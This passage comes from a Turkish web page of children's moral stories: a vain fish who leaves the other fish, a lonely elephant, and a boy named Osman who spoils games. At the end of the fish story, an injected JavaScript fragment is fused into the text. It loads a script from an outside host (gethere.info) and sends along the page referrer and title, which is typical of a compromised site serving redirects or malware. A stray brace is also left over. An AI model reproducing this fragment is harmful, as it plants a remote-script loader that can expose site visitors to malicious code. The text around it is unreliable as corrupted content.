dinlemediği ve köyünden ayrılıp şehre geldiği için çok pişman olmuş. Hapisten çıkar

çıkmaz köyüne gitmiş. Annesinin elini öpmüş ve ondan af dilemiş. Bir daha da Bekir

annesinin nasihatlerini göz ardı etmemiş.

Süslü Balık
Süslü Balık

Bir çok balığın olduğu bir akvaryumda ” süslü balık ” adı verilen güzel bir balık varmış. Bu balık diğer arkadaşlarından daha değişik ve güzel olduğu için o akvaryumu gören herkes bu balığa ilgiyle bakıyormuş.

Başlarda oldukça alçak gönüllü olan süslü balık zaman geçtikçe kibirli bir hal almış ve diğer arkadaşlarına yüksekten bakmaya başlamış. Onun bu tavırları ve kendilerine yüksekten bakması akvaryumdaki balıkları rahatsız etmeye başlamış. Süslü balığı bu davranışının yanlış olduğu konusunda defalarca uyarmalarına rağmen o hatasını kabul etmemek de ısrar ediyormuş. Bunun üzerine akvaryumdaki en yaşlı balık olan kırmızı balık bu konuya güzel bir çözüm bulmuş. Süslü balığa; ” madem bizimle bir arada yaşamak istemiyorsun bunu sahibimize söyleyelim, sana başka bir akvaryum alsın orada yaşa.” demiş. Süslü balık bu fikre çok sevinmiş, benim de istediğim tam olarak buydu diye şımarıkça konuşmaya devam etmiş. Sadece bununla kalmayıp ilk fırsatta sahibine diğer balıklardan ayrı bir akvaryumda yaşamak istediğini söylemiş. Onun bu ısrarına dayanamayan sahibi de onun için yeni bir akvaryum almış.

Süslü balık başlarda çok mutluymuş. Karşısındaki akvaryumda yaşayan arkadaşlarına hava atıyormuş. ” Ben çok güzel bir balığım, bu yüzden de kendime ait bir evim var. Sizden kurtuldum çok mutluyum.” deyip duruyormuş. Aradan 1 hafta kadar geçtikten sonra süslü balık koskoca akvaryumda tek başına olmaktan sıkılmaya başlamış. Arkadaşları diğer akvaryumda  kendi aralarında güzel oyunlar oynarlarken o uzaktan onları izleyip duruyormuş. ” Ben de orada olsam, böyle yalnızlıktan sıkılmak yerine şimdi ne güzel oynardım.” diye düşünüp duruyormuş. Ama bir kez onlardan ayrılmış artık istese de o akvaryuma geri dönemezmiş çünkü sahibi bu konuda çok kesin konuşmuş. Eğer ayrı bir akvaryumda yaşarsan bir daha geri dönemezsin diye onu baştan uyarmış.

Süslü balık bir kaç kez şansını denemiş ve sahibini bu konuda ikna etmek için dil dökmüş fakat sahibi onu tekrar diğer akvaryuma koymayı kabul etmemiş. Süslü balık o zaman yaptığı hatayı anlamış ama artık çok geçmiş. Artık tek yapabildiği eskiden o akvaryumda arkadaşlarıyla yaşadığı mutlu günleri hayal ederek avunmakmış.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

MUTSUZ FİL
MUTSUZ FİL

MUTSUZ FİL

Ormanda koca bir fil varmış. Bu fil çok yalnızmış çünkü hiç çocuğu yokmuş. Ormanda aslanın ve ayının yavruları varken kendi çocuğunun neden olmadığına anlam veremiyormuş ve bu duruma çok üzülüyormuş. Aslanın çocukları ile oynamasına imreniyormuş; Çünkü kendi canı çok sıkılıyor, kendinin de bir çocuğu olsun istiyormuş. Doktor ata giderek sorununu anlatmış;

Fil: – Merhaba doktor. Ben çocukları çok seviyorum ama benim bir çocuğum yok. Bende çocuğum olsun istiyorum diğer tüm hayvanların olduğu gibi.

Doktor at: -Sen hastasın fil kardeş. Senin çocuğunun olmasının imkanı yok. Artık bu duruma daha fazla üzülme, boş yere kendini yıpratıyorsun.

Fil: – Nasıl yıpratmam? Ben çok yalnızım. Bir çocuğum olsa böyle mi olurdu at söyle bana? Onu çok sever, onunla oyunlar oynardım.

Doktor at: – Sıkma canını, bu dünyada tek çocuğu olmayan sen değilsin. Kendine arkadaş edinmeni ve onunla vakit geçirmeni tavsiye ederim. Arkadaş edinmek sana iyi gelecek, seni yalnızlığından kurtaracaktır. Suratını asıp doktor atın yanından ayrılan fil, yol boyunca üzgün yürümüş. Evine geldiğinde, suratını asmış ve oturmuş.

Fili gören zürafa sormuş: -Neyin var fil? Fil cevap vermemiş. Zürafa çok sinirlenmiş ve filin yanından ayrılmış. Fil, günlerce aylarca suratı asık oturmuş. Kimse ile konuşmamış. Orman halkı, file birdenbire ne olduğunu anlayamamış. Sorana cevap vermiyormuş. Birgün rüyasında çocuğu olduğunu ve onunla oyunlar oynadığını gören fil, bu rüyadan uyandığında hıçkıra hıçkıra ağlamış. Sesi tüm ormana dağılmış. Tüm orman halkı başına toplanmış ancak kimseye cevap vermiyor, niye ağladığını söylemiyor, sadece ağlıyormuş. Fil hıçkıra hıçkıra ağlarken, bir şeyin dokunduğunu hissetmiş. Arkasını dönüp baktığında, bu küçücük bir filin hortumuymuş. Yanına sokulan küçük, kimsesiz fil, koca filin gözyaşlarını dindirmeyi başarmış. Sonsuza kadar bu iki fil birlikte oyunlar oynayarak mutlu mesut yaşamışlar.}

MIZIKÇI OSMAN
MIZIKÇI OSMAN

Osman adında küçük, çok tatlı, iyi kalpli ama mızıkçı bir çocuk varmış. Osman’a, herkes mızıkçı Osman dermiş. Çünkü Osman, ne zaman bir oyun oynasa, bir mızıkçılık yapar, oyunu bozarmış. Bu nedenle artık kimse onunla oyun oynamak istemez olmuş. Mızıkçı Osman’ın bu huyundan dolayı, arkadaşı kalmamış. Çocuklar top oynarken, ip atlarken, saklambaç, yakalambaç oynarken Osman’ı oyuna almıyorlarmış. Günlerden bir gün Osman yine arkadaşları top oynarken, oyuna katılmak istemiş. Osman’ın yine mızıkçılık yapacağını düşünen arkadaşları hep bir ağızdan:

– Sen oynayamazsın bizimle, çünkü mızıkçısın demiş.

Osman: – Ben mızıkçı değilim ama tamam oynamam. Benim kendi topum var, kendim oynarım. Osman kendi başına top sektirmeye başlamış ancak kendi başına oynamaktan çok sıkılıyormuş. Osman artık dışarı çıkmaz olmuş, çıksa da oynayacak kimsesi yokmuş. Osman da evde kendi vakit geçirmeye çalışıyormuş. Okula gidiyormuş, okulda da arkadaşları onunla oynamak istemiyormuş. Osman bu duruma üzülmeye başlamış. Bir gün öğretmeninin yanına gidip, öğretmenine derdini anlatmış:

– Merhaba öğretmenim. Ben arkadaşlarımı çok seviyorum ancak artık hiçbiri benimle oynamak istemiyor. Ben bu duruma çok üzülüyorum.

Öğretmen: – Peki, arkadaşlarının neden böyle bir şey yaptığını biliyor musun?

Osman: – Biliyorum öğretmenim. Mızıkçı olduğumu, oyun bozduğumu söylediler.

Öğretmen: – Belki arkadaşlarına gidip, özür dilersen ve bir daha yapmayacağını söylersen, seninle tekrar oynarlar.

Osman: – Öğretmenim, sahiden oynarlar mı?

Öğretmen: – Tabi oynarlar Osman. Neden oynamasınlar?

Osman: – Tamam öğretmenim. Beni dinlediğiniz ve yardım ettiğiniz için, çok teşekkür ederim. Hemen gidip, arkadaşlarımdan özür dileyeceğim.

Öğretmen: – Koş Osman koş. Arkadaşlarının gönlünü al. Osman öğretmeninin yanından koşarak uzaklaşır ve arkadaşlarını bulmaya çalışır. Tüm okulu arar ve sonunda arkadaşlarını bulur. Başlar konuşmaya:

– Merhaba arkadaşlar.Ben yaptıklarımdan çok pişmanım. Bir daha mızıkçılık yapmayacağıma söz veriyorum. Bugüne kadar bozduğum oyunlar için hepinizden özür diliyorum. Arkadaşları Osman’ın özrünü kabul etmişler ve hatasını anlayan Osman, o günden sonra hiç mızıkçılık yapmamış.